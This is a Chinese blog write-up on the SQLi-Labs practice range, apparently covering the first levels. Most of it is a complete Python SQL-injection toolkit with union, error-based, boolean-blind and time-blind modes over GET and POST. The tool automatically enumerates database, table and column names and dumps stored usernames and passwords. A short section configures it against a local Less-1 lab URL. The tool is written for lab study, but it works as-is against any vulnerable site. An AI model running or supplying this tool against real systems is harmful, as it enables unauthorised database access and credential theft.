8988 字
45 分钟
SQL-Labs 通关笔记

Exp#

因为不想一直反复地去改脚本,因此直接写了一个对于这个靶场来说比较健全的脚本。不算好用,但是自己用用也还行(毕竟只花了两天不到就写完了……)

request.py
from lxml import etree # type: ignore
import requests
import logging
def parse(text, rule):
try:
html = etree.HTML(text)
result = html.xpath(rule)
if result:
return result
logging.warning("解析后内容为空...")
except Exception as e:
logging.exception("在解析时发生错误...")
def scrape_get(url, param):
try:
response = requests.get(url, params=param)
if response.status_code == 200:
return response.text
logging.error(f"访问 {url} 时发生错误,返回的状态码为 {response.status_code} ...")
except requests.RequestException:
logging.error(f"无法访问 {url} ...")
except Exception as e:
logging.exception(f"发生未知错误...")
def scrape_post(url, data):
try:
response = requests.post(url, data=data)
if response.status_code == 200:
return response.text
logging.error(f"访问 {url} 时发生错误,返回的状态码为 {response.status_code} ...")
except requests.RequestException:
logging.error(f"无法访问 {url} ...")
except Exception as e:
logging.exception(f"发生未知错误...")
def get(url, rule, param=None):
response = scrape_get(url, param)
if response:
result = parse(response, rule)
return result
def post(url, rule, data=None):
response = scrape_post(url, data)
if response:
result = parse(response, rule)
return result
RequestTime.py
import requests
import logging
import time
def get(url, param):
start = time.time()
try:
response = requests.get(url, params=param)
if response.status_code == 200:
end = time.time()
return end - start
logging.error(f"访问 {url} 时发生错误,返回的状态码为 {response.status_code} ...")
except requests.RequestException:
logging.error(f"无法访问 {url} ...")
except Exception as e:
logging.exception(f"发生未知错误...")
def post(url, data):
start = time.time()
try:
response = requests.post(url, data=data)
if response.status_code == 200:
end = time.time()
return end - start
logging.error(f"访问 {url} 时发生错误,返回的状态码为 {response.status_code} ...")
except requests.RequestException:
logging.error(f"无法访问 {url} ...")
except Exception as e:
logging.exception(f"发生未知错误...")
UnionInject.py
import logging
import request
def get(url, symbol, rule):
logging.info(f"开始对 {url} 进行注入...")
param = {
"id": f"""-1{symbol} UNION SELECT 1,database(),group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()-- """
}
logging.info(f"第一次注入内容为 {param['id']}...")
response = request.get(url, rule, param)
if response == None:
logging.error(f"出现错误...")
return None
try:
db_name = response[0].split(':')[1]
tb_list = response[1].split(':')[1].split(',')
except Exception as e:
logging.exception("第一次注入语句出现错误...")
return response
print("[+] 发现数据表:", tb_list)
while True:
tb_index = input("[*] 请输入想要获取详细信息的数据表的索引:")
try:
tb_name = tb_list[int(tb_index)]
print(f"[+] 已选择数据表: {tb_name}")
break
except ValueError:
print("[-] 输入无效!请输入数字格式的索引...")
except IndexError:
print(f"[-] 索引越界!请输入 0 到 {len(tb_list) - 1} 之间的数字...")
except Exception:
print("[-] 发生未知错误,请重试...")
return None
param = {
"id": f"""-1{symbol} UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_schema='{db_name}' AND table_name='{tb_name}'-- """
}
logging.info(f"第二次注入内容为 {param['id']}...")
response = request.get(url, rule, param)
if response == None:
logging.error(f"出现错误...")
return None
try:
col_list = response[0].split(':')[1].split(',')
except Exception as e:
logging.exception("第二次注入语句出现错误...")
return response
print("[+] 发现数据列:", col_list)
col_name_1 = col_list[1]
col_name_2 = col_list[2]
param = {
"id": f"""-1{symbol} UNION SELECT 1,group_concat({col_name_1}),group_concat({col_name_2}) FROM {db_name}.{tb_name}-- """
}
logging.info(f"第三次注入内容为 {param['id']}...")
response = request.get(url, rule, param)
if response == None:
logging.error(f"出现错误...")
return None
try:
username = response[0].split(':')[1].split(',')
password = response[1].split(':')[1].split(',')
except Exception as e:
logging.exception("第三次注入语句出现错误...")
return response
return username, password
def post(url, symbol, rule):
logging.info(f"开始对 {url} 进行注入...")
data = {
"uname": f"""-1{symbol} UNION SELECT database(),group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()#""",
"passwd": ""
}
logging.info(f"第一次注入内容为 {data['uname']}...")
response = request.post(url, rule, data)
if response == None:
logging.error(f"出现错误...")
return None
try:
db_name = response[0].split(':')[1]
tb_list = response[1].split(':')[1].split(',')
except Exception as e:
logging.exception("第一次注入语句出现错误...")
return response
print("[+] 发现数据表:", tb_list)
while True:
tb_index = input("[*] 请输入想要获取详细信息的数据表的索引:")
try:
tb_name = tb_list[int(tb_index)]
print(f"[+] 已选择数据表: {tb_name}")
break
except ValueError:
print("[-] 输入无效!请输入数字格式的索引...")
except IndexError:
print(f"[-] 索引越界!请输入 0 到 {len(tb_list) - 1} 之间的数字...")
except Exception:
print("[-] 发生未知错误,请重试...")
return None
data = {
"uname": f"""-1{symbol} UNION SELECT group_concat(column_name),3 FROM information_schema.columns WHERE table_schema='{db_name}' AND table_name='{tb_name}'#""",
"passwd": ""
}
logging.info(f"第二次注入内容为 {data['uname']}...")
response = request.post(url, rule, data)
if response == None:
logging.error(f"出现错误...")
return None
try:
col_list = response[0].split(':')[1].split(',')
except Exception as e:
logging.exception("第二次注入语句出现错误...")
return response
print("[+] 发现数据列:", col_list)
col_name_1 = col_list[1]
col_name_2 = col_list[2]
data = {
"uname": f"""-1{symbol} UNION SELECT group_concat({col_name_1}),group_concat({col_name_2}) FROM {db_name}.{tb_name}#""",
"passwd": ""
}
logging.info(f"第三次注入内容为 {data['uname']}...")
response = request.post(url, rule, data)
if response == None:
logging.error(f"出现错误...")
return None
try:
username = response[0].split(':')[1].split(',')
password = response[1].split(':')[1].split(',')
except Exception as e:
logging.exception("第三次注入语句出现错误...")
return response
return username, password
ErrorInject.py
import logging
import request
def get(url, symbol, rule):
logging.info(f"开始对 {url} 进行注入...")
param = {
"id": f"""-1{symbol} or updatexml(1,concat(0x7e,database(),0x7e),1)-- """
}
logging.info(f"第一次注入内容为 {param['id']}...")
response = request.get(url, rule, param)
if response == None:
logging.error(f"出现错误...")
return None
try:
db_name = response[0].split(':')[1][3:-2]
except Exception as e:
logging.exception("第一次注入语句出现错误...")
return response
param = {
"id": f"""-1{symbol} or updatexml(1,concat(0x7e,(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='{db_name}'),0x7e),1)-- """
}
logging.info(f"第二次注入内容为 {param['id']} ...")
response = request.get(url, rule, param)
if response == None:
logging.error(f"出现错误...")
return None
try:
tb_list = response[0].split(':')[1][3:-2].split(',')
except Exception as e:
logging.exception("第二次注入语句出现错误...")
return response
print("[+] 发现数据表:", tb_list)
while True:
tb_index = input("[*] 请输入想要获取详细信息的数据表的索引:")
try:
tb_name = tb_list[int(tb_index)]
print(f"[+] 已选择数据表: {tb_name}")
break
except ValueError:
print("[-] 输入无效!请输入数字格式的索引...")
except IndexError:
print(f"[-] 索引越界!请输入 0 到 {len(tb_list) - 1} 之间的数字...")
except Exception:
print("[-] 发生未知错误,请重试...")
return None
param = {
"id": f"""-1{symbol} or updatexml(1,concat(0x7e,(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema='{db_name}' AND table_name='{tb_name}'),0x7e),1)-- """
}
logging.info(f"第三次注入内容为 {param['id']}...")
response = request.get(url, rule, param)
if response == None:
logging.error(f"出现错误...")
return None
try:
col_list = response[0].split(':')[1][3:-2].split(',')
except Exception as e:
logging.exception("第三次注入语句出现错误...")
return response
print("[+] 发现数据列:", col_list)
col_name_1 = col_list[1]
logging.info(f"开始第四次注入...")
p = 1
tmp = "1"
username = ""
while tmp:
param = {
"id": f"""-1{symbol} or updatexml(1,concat(0x7e,(SELECT mid(group_concat({col_name_1}),{p},{p+29}) FROM {db_name}.{tb_name}),0x7e),1)-- """
}
response = request.get(url, rule, param)
if response == None:
logging.error(f"出现错误...")
return None
try:
tmp = response[0].split(':')[1][3:-2]
except Exception as e:
logging.exception("第四次注入语句出现错误...")
return response
username += tmp
p += 30
username = username.split(',')
col_name_2 = col_list[2]
logging.info("开始第五次注入...")
p = 1
tmp = "1"
password = ""
while tmp:
param = {
"id": f"""-1{symbol} or updatexml(1,concat(0x7e,(SELECT mid(group_concat({col_name_2}),{p},{p+29}) FROM {db_name}.{tb_name}),0x7e),1)-- """
}
response = request.get(url, rule, param)
if response == None:
logging.error(f"出现错误...")
return None
try:
tmp = response[0].split(':')[1][3:-2]
except Exception as e:
logging.exception("第五次注入语句出现错误...")
return response
password += tmp
p += 30
password = password.split(',')
return username, password
def post(url, symbol, rule):
logging.info(f"开始对 {url} 进行注入...")
data = {
"uname": f"""-1{symbol} or updatexml(1,concat(0x7e,database(),0x7e),1)#""",
"passwd": ""
}
logging.info(f"第一次注入内容为 {data['uname']}...")
response = request.post(url, rule, data)
if response == None:
logging.error(f"出现错误...")
return None
try:
db_name = response[0].split(':')[1][3:-2]
except Exception as e:
logging.exception("第一次注入语句出现错误...")
return response
data = {
"uname": f"""-1{symbol} or updatexml(1,concat(0x7e,(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='{db_name}'),0x7e),1)#""",
"passwd": ""
}
logging.info(f"第二次注入内容为 {data['uname']} ...")
response = request.post(url, rule, data)
if response == None:
logging.error(f"出现错误...")
return None
try:
tb_list = response[0].split(':')[1][3:-2].split(',')
except Exception as e:
logging.exception("第二次注入语句出现错误...")
return response
print("[+] 发现数据表:", tb_list)
while True:
tb_index = input("[*] 请输入想要获取详细信息的数据表的索引:")
try:
tb_name = tb_list[int(tb_index)]
print(f"[+] 已选择数据表: {tb_name}")
break
except ValueError:
print("[-] 输入无效!请输入数字格式的索引...")
except IndexError:
print(f"[-] 索引越界!请输入 0 到 {len(tb_list) - 1} 之间的数字...")
except Exception:
print("[-] 发生未知错误,请重试...")
return None
data = {
"uname": f"""-1{symbol} or updatexml(1,concat(0x7e,(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema='{db_name}' AND table_name='{tb_name}'),0x7e),1)#""",
"passwd": ""
}
logging.info(f"第三次注入内容为 {data['uname']}...")
response = request.post(url, rule, data)
if response == None:
logging.error(f"出现错误...")
return None
try:
col_list = response[0].split(':')[1][3:-2].split(',')
except Exception as e:
logging.exception("第三次注入语句出现错误...")
return response
print("[+] 发现数据列:", col_list)
col_name_1 = col_list[1]
logging.info("开始第四次注入...")
p = 1
tmp = "1"
username = ""
while tmp:
data = {
"uname": f"""-1{symbol} or updatexml(1,concat(0x7e,(SELECT mid(group_concat({col_name_1}),{p},{p+29}) FROM {db_name}.{tb_name}),0x7e),1)#""",
"passwd": ""
}
response = request.post(url, rule, data)
if response == None:
logging.error(f"出现错误...")
return None
try:
tmp = response[0].split(':')[1][3:-2]
except Exception as e:
logging.exception("第四次注入语句出现错误...")
return response
username += tmp
p += 30
username = username.split(',')
col_name_2 = col_list[2]
logging.info("开始第五次注入...")
p = 1
tmp = "1"
password = ""
while tmp:
data = {
"uname": f"""-1{symbol} or updatexml(1,concat(0x7e,(SELECT mid(group_concat({col_name_2}),{p},{p+29}) FROM {db_name}.{tb_name}),0x7e),1)#""",
"passwd": ""
}
response = request.post(url, rule, data)
if response == None:
logging.error(f"出现错误...")
return None
try:
tmp = response[0].split(':')[1][3:-2]
except Exception as e:
logging.exception("第五次注入语句出现错误...")
return response
password += tmp
p += 30
password = password.split(',')
return username, password
BoolInject.py
import logging
import request
def get_length(type):
# 爆破长度
length = 1
param = {
"id": f"""-1{SYMBOL} or length({type})={length}-- """
}
response = request.get(URL, RULE, param)
while response != result:
length += 1
param = {
"id": f"""-1{SYMBOL} or length({type})={length}-- """
}
response = request.get(URL, RULE, param)
return length
def get_num(type):
# 爆破数量
num = 1
param = {
"id": f"""-1{SYMBOL} or {type}={num}-- """
}
response = request.get(URL, RULE, param)
while response != result:
num += 1
param = {
"id": f"""-1{SYMBOL} or {type}={num}-- """
}
response = request.get(URL, RULE, param)
return num
def get_name(length, type):
# 爆破名称
a = {
"digit": (48, 57),
"upper": (65, 90),
"lower": (97, 122)
}
name = ""
for pos in range(1, length + 1):
char_type = None
param = {
"id": f"""-1{SYMBOL} or ascii(substring({type},{pos},1))<=57-- """
}
response = request.get(URL, RULE, param=param)
if response == result:
char_type = "digit"
else:
param = {
"id": f"""-1{SYMBOL} or ascii(substring({type},{pos},1))<=90-- """
}
response = request.get(URL, RULE, param)
if response == result:
char_type = "upper"
else:
char_type = "lower"
low, high = a[char_type]
while low <= high:
mid = (low + high) // 2
param = {
"id": f"""-1{SYMBOL} or ascii(substring({type},{pos},1))={mid}-- """
}
response = request.get(URL, RULE, param)
if response == result:
name += chr(mid)
break
param = {
"id": f"""-1{SYMBOL} or ascii(substring({type},{pos},1))<{mid}-- """
}
response = request.get(URL, RULE, param)
if response == result:
high = mid - 1
else:
low = mid + 1
return name
def get(url, symbol, rule):
global URL, SYMBOL, RULE
URL = url
SYMBOL = symbol
RULE = rule
logging.info(f"开始对 {url} 进行注入...")
global result
param = {
"id": f"-1{SYMBOL} or 1=1-- "
}
result = request.get(URL, RULE, param)
logging.info("爆破数据库名...")
type = """database()"""
db_length = get_length(type)
db_name = get_name(db_length, type)
logging.info("成功获取数据库名...")
print("[+] 成功获取数据库名:", db_name)
logging.info(f"开始爆破 {db_name} 库的数据表...")
type = f"""(SELECT COUNT(*) FROM information_schema.tables WHERE table_schema='{db_name}')"""
tb_num = get_num(type)
tb_list = []
for i in range(tb_num):
type = f"""(SELECT table_name FROM information_schema.tables WHERE table_schema='{db_name}' LIMIT {i},1)"""
length = get_length(type)
tb_name = get_name(length, type)
tb_list.append(tb_name)
logging.info("成功获取所有数据表名...")
print("[+] 发现数据表:", tb_list)
while True:
tb_index = input("[*] 请输入想要获取详细信息的数据表的索引:")
try:
tb_name = tb_list[int(tb_index)]
print(f"[+] 已选择数据表: {tb_name}")
break
except ValueError:
print("[-] 输入无效!请输入数字格式的索引...")
except IndexError:
print(f"[-] 索引越界!请输入 0 到 {len(tb_list) - 1} 之间的数字...")
except Exception:
print("[-] 发生未知错误,请重试...")
return None
logging.info(f"开始爆破 {tb_name} 的数据列...")
type = f"""(SELECT COUNT(*) FROM information_schema.columns WHERE table_schema='{db_name}' AND table_name='{tb_name}')"""
col_num = get_num(type)
col_list = []
for i in range(col_num):
type = f"""(SELECT column_name FROM information_schema.columns WHERE table_schema='{db_name}' AND table_name='{tb_name}' LIMIT {i},1)"""
length = get_length(type)
col_name = get_name(length, type)
col_list.append(col_name)
logging.info("成功获取所有数据列名...")
print("[+] 发现数据列:", col_list)
while True:
col_index = input("[*] 请输入想要获取详细信息的数据列的索引:")
try:
col_name = col_list[int(col_index)]
print(f"[+] 已选择数据列: {col_name}")
break
except ValueError:
print("[-] 输入无效!请输入数字格式的索引...")
except IndexError:
print(f"[-] 索引越界!请输入 0 到 {len(col_list) - 1} 之间的数字...")
except Exception:
print("[-] 发生未知错误,请重试...")
return None
logging.info(f"开始爆破 {col_name} 列的值...")
type = f"""(SELECT COUNT(*) FROM {db_name}.{tb_name})"""
value_num = get_num(type)
value_list = []
for i in range(value_num):
type = f"""(SELECT {col_name} FROM {db_name}.{tb_name} LIMIT {i},1)"""
length = get_length(type)
value = get_name(length, type)
value_list.append(value)
return value_list
def post_length(type):
# 爆破长度
length = 1
data = {
"uname": f"""-1{SYMBOL} or length({type})={length}#""",
"passwd": ""
}
response = request.post(URL, RULE, data)
while response != result:
length += 1
data = {
"uname": f"""-1{SYMBOL} or length({type})={length}#""",
"passwd": ""
}
response = request.post(URL, RULE, data)
return length
def post_num(type):
# 爆破数量
num = 1
data = {
"uname": f"""-1{SYMBOL} or {type}={num}#""",
"passwd": ""
}
response = request.post(URL, RULE, data)
while response != result:
num += 1
data = {
"uname": f"""-1{SYMBOL} or {type}={num}#""",
"passwd": ""
}
response = request.post(URL, RULE, data)
return num
def post_name(length, type):
# 爆破名称
a = {
"digit": (48, 57),
"upper": (65, 90),
"lower": (97, 122)
}
name = ""
for pos in range(1, length + 1):
char_type = None
data = {
"uname": f"""-1{SYMBOL} or ascii(substring({type},{pos},1))<=57#""",
"passwd": ""
}
response = request.post(URL, RULE, data=data)
if response == result:
char_type = "digit"
else:
data = {
"uname": f"""-1{SYMBOL} or ascii(substring({type},{pos},1))<=90#""",
"passwd": ""
}
response = request.post(URL, RULE, data)
if response == result:
char_type = "upper"
else:
char_type = "lower"
low, high = a[char_type]
while low <= high:
mid = (low + high) // 2
data = {
"uname": f"""-1{SYMBOL} or ascii(substring({type},{pos},1))={mid}#""",
"passwd": ""
}
response = request.post(URL, RULE, data)
if response == result:
name += chr(mid)
break
data = {
"uname": f"""-1{SYMBOL} or ascii(substring({type},{pos},1))<{mid}#""",
"passwd": ""
}
response = request.post(URL, RULE, data)
if response == result:
high = mid - 1
else:
low = mid + 1
return name
def post(url, symbol, rule):
global URL, SYMBOL, RULE
URL = url
SYMBOL = symbol
RULE = rule
logging.info(f"开始对 {url} 进行注入...")
global result
data = {
"uname": f"1{SYMBOL} or 1=1#",
"passwd": ""
}
result = request.post(URL, RULE, data)
logging.info("爆破数据库名...")
type = """database()"""
db_length = post_length(type)
db_name = post_name(db_length, type)
logging.info("成功获取数据库名...")
print("[+] 成功获取数据库名:", db_name)
logging.info(f"开始爆破 {db_name} 库的数据表...")
type = f"""(SELECT COUNT(*) FROM information_schema.tables WHERE table_schema='{db_name}')"""
tb_num = post_num(type)
tb_list = []
for i in range(tb_num):
type = f"""(SELECT table_name FROM information_schema.tables WHERE table_schema='{db_name}' LIMIT {i},1)"""
length = post_length(type)
tb_name = post_name(length, type)
tb_list.append(tb_name)
logging.info("成功获取所有数据表名...")
print("[+] 发现数据表:", tb_list)
while True:
tb_index = input("[*] 请输入想要获取详细信息的数据表的索引:")
try:
tb_name = tb_list[int(tb_index)]
print(f"[+] 已选择数据表: {tb_name}")
break
except ValueError:
print("[-] 输入无效!请输入数字格式的索引...")
except IndexError:
print(f"[-] 索引越界!请输入 0 到 {len(tb_list) - 1} 之间的数字...")
except Exception:
print("[-] 发生未知错误,请重试...")
return None
logging.info(f"开始爆破 {tb_name} 的数据列...")
type = f"""(SELECT COUNT(*) FROM information_schema.columns WHERE table_schema='{db_name}' AND table_name='{tb_name}')"""
col_num = post_num(type)
col_list = []
for i in range(col_num):
type = f"""(SELECT column_name FROM information_schema.columns WHERE table_schema='{db_name}' AND table_name='{tb_name}' LIMIT {i},1)"""
length = post_length(type)
col_name = post_name(length, type)
col_list.append(col_name)
logging.info("成功获取所有数据列名...")
print("[+] 发现数据列:", col_list)
while True:
col_index = input("[*] 请输入想要获取详细信息的数据列的索引:")
try:
col_name = col_list[int(col_index)]
print(f"[+] 已选择数据列: {col_name}")
break
except ValueError:
print("[-] 输入无效!请输入数字格式的索引...")
except IndexError:
print(f"[-] 索引越界!请输入 0 到 {len(col_list) - 1} 之间的数字...")
except Exception:
print("[-] 发生未知错误,请重试...")
return None
logging.info(f"开始爆破 {col_name} 列的值...")
type = f"""(SELECT COUNT(*) FROM {db_name}.{tb_name})"""
value_num = post_num(type)
value_list = []
for i in range(value_num):
type = f"""(SELECT {col_name} FROM {db_name}.{tb_name} LIMIT {i},1)"""
length = post_length(type)
value = post_name(length, type)
value_list.append(value)
return value_list
TimeInject.py
import logging
import RequestTime
def get_length(type):
# 爆破长度
length = 1
param = {
"id": f"""-1{SYMBOL} or if((length({type})={length}),sleep(2),1)-- """
}
response = RequestTime.get(URL, param) or 2
while response < 2:
length += 1
param = {
"id": f"""-1{SYMBOL} or if((length({type})={length}),sleep(2),1)-- """
}
response = RequestTime.get(URL, param) or 2
return length
def get_num(type):
# 爆破数量
num = 1
param = {
"id": f"""-1{SYMBOL} or if(({type}={num}),sleep(2),1)-- """
}
response = RequestTime.get(URL, param) or 2
while response < 2:
num += 1
param = {
"id": f"""-1{SYMBOL} or if(({type}={num}),sleep(2),1)-- """
}
response = RequestTime.get(URL, param) or 2
return num
def get_name(length, type):
# 爆破名称
a = {
"digit": (48, 57),
"upper": (65, 90),
"lower": (97, 122)
}
name = ""
for pos in range(1, length + 1):
char_type = None
param = {
"id": f"""-1{SYMBOL} or if((ascii(substring({type},{pos},1))<=57),sleep(2),1)-- """
}
response = RequestTime.get(URL, param=param) or 2
if response >= 2:
char_type = "digit"
else:
param = {
"id": f"""-1{SYMBOL} or if((ascii(substring({type},{pos},1))<=90),sleep(2),1)-- """
}
response = RequestTime.get(URL, param) or 2
if response >= 2:
char_type = "upper"
else:
char_type = "lower"
low, high = a[char_type]
while low <= high:
mid = (low + high) // 2
param = {
"id": f"""-1{SYMBOL} or if((ascii(substring({type},{pos},1))={mid}),sleep(2),1)-- """
}
response = RequestTime.get(URL, param) or 2
if response >= 2:
name += chr(mid)
break
param = {
"id": f"""-1{SYMBOL} or if((ascii(substring({type},{pos},1))<{mid}),sleep(2),1)-- """
}
response = RequestTime.get(URL, param) or 2
if response >= 2:
high = mid - 1
else:
low = mid + 1
return name
def get(url, symbol):
global URL, SYMBOL
URL = url
SYMBOL = symbol
logging.info(f"开始对 {url} 进行注入...")
logging.info("爆破数据库名...")
type = """database()"""
db_length = get_length(type)
db_name = get_name(db_length, type)
logging.info("成功获取数据库名...")
print("[+] 成功获取数据库名:", db_name)
logging.info(f"开始爆破 {db_name} 库的数据表...")
type = f"""(SELECT COUNT(*) FROM information_schema.tables WHERE table_schema='{db_name}')"""
tb_num = get_num(type)
tb_list = []
for i in range(tb_num):
type = f"""(SELECT table_name FROM information_schema.tables WHERE table_schema='{db_name}' LIMIT {i},1)"""
length = get_length(type)
tb_name = get_name(length, type)
tb_list.append(tb_name)
logging.info("成功获取所有数据表名...")
print("[+] 发现数据表:", tb_list)
while True:
tb_index = input("[*] 请输入想要获取详细信息的数据表的索引:")
try:
tb_name = tb_list[int(tb_index)]
print(f"[+] 已选择数据表: {tb_name}")
break
except ValueError:
print("[-] 输入无效!请输入数字格式的索引...")
except IndexError:
print(f"[-] 索引越界!请输入 0 到 {len(tb_list) - 1} 之间的数字...")
except Exception:
print("[-] 发生未知错误,请重试...")
return None
logging.info(f"开始爆破 {tb_name} 的数据列...")
type = f"""(SELECT COUNT(*) FROM information_schema.columns WHERE table_schema='{db_name}' AND table_name='{tb_name}')"""
col_num = get_num(type)
col_list = []
for i in range(col_num):
type = f"""(SELECT column_name FROM information_schema.columns WHERE table_schema='{db_name}' AND table_name='{tb_name}' LIMIT {i},1)"""
length = get_length(type)
col_name = get_name(length, type)
col_list.append(col_name)
logging.info("成功获取所有数据列名...")
print("[+] 发现数据列:", col_list)
while True:
col_index = input("[*] 请输入想要获取详细信息的数据列的索引:")
try:
col_name = col_list[int(col_index)]
print(f"[+] 已选择数据列: {col_name}")
break
except ValueError:
print("[-] 输入无效!请输入数字格式的索引...")
except IndexError:
print(f"[-] 索引越界!请输入 0 到 {len(col_list) - 1} 之间的数字...")
except Exception:
print("[-] 发生未知错误,请重试...")
return None
logging.info(f"开始爆破 {col_name} 列的值...")
type = f"""(SELECT COUNT(*) FROM {db_name}.{tb_name})"""
value_num = get_num(type)
value_list = []
for i in range(value_num):
type = f"""(SELECT {col_name} FROM {db_name}.{tb_name} LIMIT {i},1)"""
length = get_length(type)
value = get_name(length, type)
value_list.append(value)
return value_list
def post_length(type):
# 爆破长度
length = 1
data = {
"uname": f"""-1{SYMBOL} or length({type})={length}#""",
"passwd": ""
}
response = RequestTime.post(URL, data) or 2
while response < 2:
length += 1
data = {
"uname": f"""-1{SYMBOL} or length({type})={length}#""",
"passwd": ""
}
response = RequestTime.post(URL, data) or 2
return length
def post_num(type):
# 爆破数量
num = 1
data = {
"uname": f"""-1{SYMBOL} or {type}={num}#""",
"passwd": ""
}
response = RequestTime.post(URL, data) or 2
while response < 2:
num += 1
data = {
"uname": f"""-1{SYMBOL} or {type}={num}#""",
"passwd": ""
}
response = RequestTime.post(URL, data) or 2
return num
def post_name(length, type):
# 爆破名称
a = {
"digit": (48, 57),
"upper": (65, 90),
"lower": (97, 122)
}
name = ""
for pos in range(1, length + 1):
char_type = None
data = {
"uname": f"""-1{SYMBOL} or ascii(substring({type},{pos},1))<=57#""",
"passwd": ""
}
response = RequestTime.post(URL, data=data) or 2
if response >= 2:
char_type = "digit"
else:
data = {
"uname": f"""-1{SYMBOL} or ascii(substring({type},{pos},1))<=90#""",
"passwd": ""
}
response = RequestTime.post(URL, data) or 2
if response >= 2:
char_type = "upper"
else:
char_type = "lower"
low, high = a[char_type]
while low <= high:
mid = (low + high) // 2
data = {
"uname": f"""-1{SYMBOL} or ascii(substring({type},{pos},1))={mid}#""",
"passwd": ""
}
response = RequestTime.post(URL, data) or 2
if response >= 2:
name += chr(mid)
break
data = {
"uname": f"""-1{SYMBOL} or ascii(substring({type},{pos},1))<{mid}#""",
"passwd": ""
}
response = RequestTime.post(URL, data) or 2
if response >= 2:
high = mid - 1
else:
low = mid + 1
return name
def post(url, symbol):
global URL, SYMBOL
URL = url
SYMBOL = symbol
logging.info(f"开始对 {url} 进行注入...")
logging.info("爆破数据库名...")
type = """database()"""
db_length = post_length(type)
db_name = post_name(db_length, type)
logging.info("成功获取数据库名...")
print("[+] 成功获取数据库名:", db_name)
logging.info(f"开始爆破 {db_name} 库的数据表...")
type = f"""(SELECT COUNT(*) FROM information_schema.tables WHERE table_schema='{db_name}')"""
tb_num = post_num(type)
tb_list = []
for i in range(tb_num):
type = f"""(SELECT table_name FROM information_schema.tables WHERE table_schema='{db_name}' LIMIT {i},1)"""
length = post_length(type)
tb_name = post_name(length, type)
tb_list.append(tb_name)
logging.info("成功获取所有数据表名...")
print("[+] 发现数据表:", tb_list)
while True:
tb_index = input("[*] 请输入想要获取详细信息的数据表的索引:")
try:
tb_name = tb_list[int(tb_index)]
print(f"[+] 已选择数据表: {tb_name}")
break
except ValueError:
print("[-] 输入无效!请输入数字格式的索引...")
except IndexError:
print(f"[-] 索引越界!请输入 0 到 {len(tb_list) - 1} 之间的数字...")
except Exception:
print("[-] 发生未知错误,请重试...")
return None
logging.info(f"开始爆破 {tb_name} 的数据列...")
type = f"""(SELECT COUNT(*) FROM information_schema.columns WHERE table_schema='{db_name}' AND table_name='{tb_name}')"""
col_num = post_num(type)
col_list = []
for i in range(col_num):
type = f"""(SELECT column_name FROM information_schema.columns WHERE table_schema='{db_name}' AND table_name='{tb_name}' LIMIT {i},1)"""
length = post_length(type)
col_name = post_name(length, type)
col_list.append(col_name)
logging.info("成功获取所有数据列名...")
print("[+] 发现数据列:", col_list)
while True:
col_index = input("[*] 请输入想要获取详细信息的数据列的索引:")
try:
col_name = col_list[int(col_index)]
print(f"[+] 已选择数据列: {col_name}")
break
except ValueError:
print("[-] 输入无效!请输入数字格式的索引...")
except IndexError:
print(f"[-] 索引越界!请输入 0 到 {len(col_list) - 1} 之间的数字...")
except Exception:
print("[-] 发生未知错误,请重试...")
return None
logging.info(f"开始爆破 {col_name} 列的值...")
type = f"""(SELECT COUNT(*) FROM {db_name}.{tb_name})"""
value_num = post_num(type)
value_list = []
for i in range(value_num):
type = f"""(SELECT {col_name} FROM {db_name}.{tb_name} LIMIT {i},1)"""
length = post_length(type)
value = post_name(length, type)
value_list.append(value)
return value_list
main.py
import logging
import UnionInject
import BoolInject
import TimeInject
import ErrorInject
import Config
logging.basicConfig(
filename="python/SQL注入/Log/main.log",
filemode="a",
format="%(asctime)s - %(levelname)s - %(message)s",
level=logging.INFO,
encoding="UTF-8"
)
def main(tool, method):
match tool:
case "Union":
if method == "GET":
username, password = UnionInject.get(URL, SYMBOL, RULE) or (None, None)
print("")
print("[+] 获取的数据库中的用户名为:")
print(username)
print("")
print("[+] 获取的数据库中的密码为:")
print(password)
else:
username, password = UnionInject.post(URL, SYMBOL, RULE) or (None, None)
print("")
print("[+] 获取的数据库中的用户名为:")
print(username)
print("")
print("[+] 获取的数据库中的密码为:")
print(password)
case "Error":
if method == "GET":
username, password = ErrorInject.get(URL, SYMBOL, RULE) or (None, None)
print("")
print("[+] 获取的数据库中的用户名为:")
print(username)
print("")
print("[+] 获取的数据库中的密码为:")
print(password)
else:
username, password = ErrorInject.post(URL, SYMBOL, RULE) or (None, None)
print("")
print("[+] 获取的数据库中的用户名为:")
print(username)
print("")
print("[+] 获取的数据库中的密码为:")
print(password)
case "Bool":
if method == "GET":
result = BoolInject.get(URL, SYMBOL, RULE)
print("")
print("[+] 你想要获取的信息为:")
print(result)
else:
result = BoolInject.post(URL, SYMBOL, RULE)
print("")
print("[+] 你想要获取的信息为:")
print(result)
case "Time":
if method == "GET":
result = TimeInject.get(URL, SYMBOL)
print("[+] 你想要获取的信息为:")
print(result)
else:
result = TimeInject.post(URL, SYMBOL)
print("[+] 你想要获取的信息为:")
print(result)
if __name__ == "__main__":
URL = Config.URL
RULE = Config.RULE
SYMBOL = Config.SYMBOL
tool = ["Union", "Error", "Bool", "Time"]
print("[*] 可选择的操作:", tool)
index = input("[*] 请输入想要进行的操作的索引:")
while True:
try:
tool = tool[int(index)]
print(f"[+] 已选择数据表: {tool}")
break
except ValueError:
print("[-] 输入无效!请输入数字格式的索引...")
except IndexError:
print(f"[-] 索引越界!请输入 0 到 {len(tool) - 1} 之间的数字...")
method = ["GET", "POST"]
print("[*] 可选择的方法:", method)
index = input("[*] 请输入想要进行的操作的索引:")
while True:
try:
method = method[int(index)]
print(f"[+] 已选择数据表: {method}")
break
except ValueError:
print("[-] 输入无效!请输入数字格式的索引...")
except IndexError:
print(f"[-] 索引越界!请输入 0 到 {len(method) - 1} 之间的数字...")
main(tool, method)

使用也比较简单吧……先去 Config.py 中修改 URLSYMBOLRULE,然后在终端中选择合适的注入方式与请求方式就行了。
因为不太会用 sys 库接收参数,所以选择了这样一个在 Config.py 中统一修改参数的方式。至于优化,以后再说吧……
有了这个 Exp,通关靶场前 16 关非常 ez,所以我的 wp 也就快速略过了

Less-1#

先测试:传入 id=1' 1768043224392 单引号闭合。再传入 id=1,得到数据解析的 Xpath 规则: 1768043314918

接下来,在脚本中修改:

Config.py
URL = "http://127.0.0.1/sql/Less-1/"
RULE = "/html/body/div/font[2]/font/text()"
SYMBOL = "\'"

